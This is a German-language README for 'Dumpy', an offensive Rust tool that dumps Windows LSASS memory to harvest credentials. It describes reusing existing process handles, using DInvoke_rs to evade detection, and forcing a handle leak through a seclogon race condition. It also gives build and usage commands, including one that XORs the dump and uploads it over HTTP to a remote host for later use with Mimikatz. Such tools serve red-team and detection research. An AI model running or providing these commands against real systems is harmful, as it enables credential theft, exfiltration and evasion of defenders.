
Offene Handles wiederverwenden, um LSASS dynamisch zu dumpen.
Dieses Tool ruft dynamisch MiniDumpWriteDump auf, um den Speicherinhalt von lsass zu dumpen. Dieser Vorgang erfolgt, ohne ein neues Prozess-Handle auf lsass zu öffnen, und verwendet DInvoke_rs, um die Erkennung seines bösartigen Verhaltens zu erschweren. Um ein gültiges Prozess-Handle zu erhalten, ohne OpenProcess auf lsass aufzurufen, werden alle Prozess-Handles im System mithilfe von NtQuerySystemInformation, NtDuplicateObject, NtQueryObject und QueryFullProcessImageNameW analysiert.
NTFS-Transaktionen werden verwendet, um den Speicher-Dump per XOR zu verarbeiten, bevor er auf der Festplatte gespeichert oder über HTTP gesendet wird.
Unterstützung für x86 und x64 hinzugefügt.
Kompiliere den Code einfach im release-Modus und führe ihn aus:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
Falls du das Tool für ein x86-System kompilieren möchtest, ändere den Wert der Option "target" in der Datei .cargo\config (z. B.: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy hat zwei Hauptaktionen:
dump: Führt die Hauptlogik zum Dumpen des lsass aus. Standardmäßig wird das Ergebnis in einer per XOR verarbeiteten Textdatei mit einem zufälligen Namen im aktuellen Verzeichnis gespeichert. Die Option upload ermöglicht es, den Speicherinhalt über HTTP an einen entfernten Host zu senden, wodurch die Erstellung der per XOR verarbeiteten Datei auf der Festplatte vermieden wird. Ich habe diesen einfachen HTTP-Server verwendet, um den Upload zu handhaben, aber jeder andere HTTP-Server, der multipart/form-data-Anfragen unterstützt, funktioniert.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Wenn du das Leaken eines Handles auf lsass über die Race-Condition im seclogon-Dienst erzwingen möchtest, die von Antonio Cocomazzi in diesem Beitrag beschrieben wurde, verwende einfach die Option force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: Mit dieser Aktion kann der entschlüsselte Speicher-Dump in demselben Format erhalten werden, das Tools wie Mimikatz erwarten. Als Argumente werden der per XOR verarbeitete Speicher-Dump, der Verschlüsselungsschlüssel und der Pfad der Ausgabedatei erwartet. Falls die per XOR verarbeitete Datei über HTTP hochgeladen wurde, muss vor diesem Entschlüsselungsprozess eine Base64-Dekodierung des Inhalts durchgeführt werden.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey